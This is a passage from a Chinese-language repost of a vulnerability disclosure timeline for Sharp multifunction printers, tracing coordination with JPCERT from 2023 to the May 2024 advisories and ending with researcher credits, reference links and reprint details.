  • 2023年8月3日:与JPCERT一致同意根据严重程度优先考虑漏洞,然后尽快修补关键漏洞,同时推迟难以修复的漏洞。
  • 2023年8月4日:JPCERT确认他们正在与夏普合作解决问题。
  • 2023年8月16日:JPCERT确认他们要求夏普重新考虑一些问题,采用两个方案(短期修复和长期对策),夏普正在处理这些问题。
  • 2023年9月13日:我回答说这是一种可接受的做法,因为短期修复和长期对策目前正在被其他打印机供应商实施。
  • 2023年9月14日:JPCERT确认他们正在与夏普合作获取安全补丁。
  • 2023年10月10日:确认收到更新。
  • 2023年11月16日:JPCERT提供了一个新的Excel文件,列出了问题和夏普提供的对策。
  • 2023年11月21日:审查了Excel文件,夏普建议修补易受攻击的代码并移除易受攻击的功能。
  • 2024年1月29日:询问有关漏洞的状态(CVE,安全补丁的可用性)。
  • 2024年1月30日:JPCERT确认将发布带有相应CVE的JVN咨询。安全补丁将在2024年5月前提供。
  • 2024年1月30日:我建议测试修补过的固件镜像以确认漏洞是否已正确修补。
  • 2024年1月31日:JPCERT将有关修补固件镜像的额外测试的消息传递给夏普。
  • 2024年2月16日:JPCERT发送了包含漏洞的更新Excel文件。
  • 2024年2月16日:确认收到Excel文件。
  • 2024年2月20日:向JPCERT发送了带有评论的更新Excel文件。
  • 2024年3月1日:JPCERT就我的反馈发送了评论。
  • 2024年3月4日:确认收到反馈。
  • 2024年5月8日:邮件询问JPCERT何时发布安全咨询和安全补丁。
  • 2024年5月16日:JPCERT发送了受影响产品/版本的列表,并确认他们正在起草。
  • 2024年5月20日:我建议包括不支持的型号,因为根据我的测试,一些不支持的型号容易受到攻击。
  • 2024年5月21日:JPCERT报告将这个建议发送给夏普。
  • 2024年5月28日:JPCERT提供了JVN英文版咨询草案、受影响产品的最终列表和东芝技术MFPs信息。
  • 2024年5月28日:我要求JPCERT为我所报告的漏洞列表提供CVE列表。
  • 2024年5月29日:JPCERT提供了一份漏洞列表,附带CVE和对一些发现的澄清。
  • 2024年5月30日:确认收到列表。
  • 2024年5月31日:JPCERT发布了安全咨询:https://jvn.jp/en/vu/JVNVU93051062/index.html。
  • 2024年5月31日:夏普发布了安全咨询:https://global.sharp/products/copier/info/info_security_2024-05.html。
  • 2024年5月31日:东芝发布了安全咨询:https://www.toshibatec.com/information/20240531_02.html。
  • 2024年6月27日:发布了一份安全咨询。

致谢

这些漏洞由Pierre Barre aka Pierre Kim(https://twitter.com/PierreKimSec)发现。

参考

  • Pierre Kim的安全研究博客 https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html
  • Pierre Kim的咨询文件 https://pierrekim.github.io/advisories/2024-sharp-mfp.txt


原文始发于微信公众号(3072):夏普打印机漏洞分析

版权声明:admin 发表于 2024年7月8日 上午11:16。
转载请注明:夏普打印机漏洞分析 | CTF导航

相关文章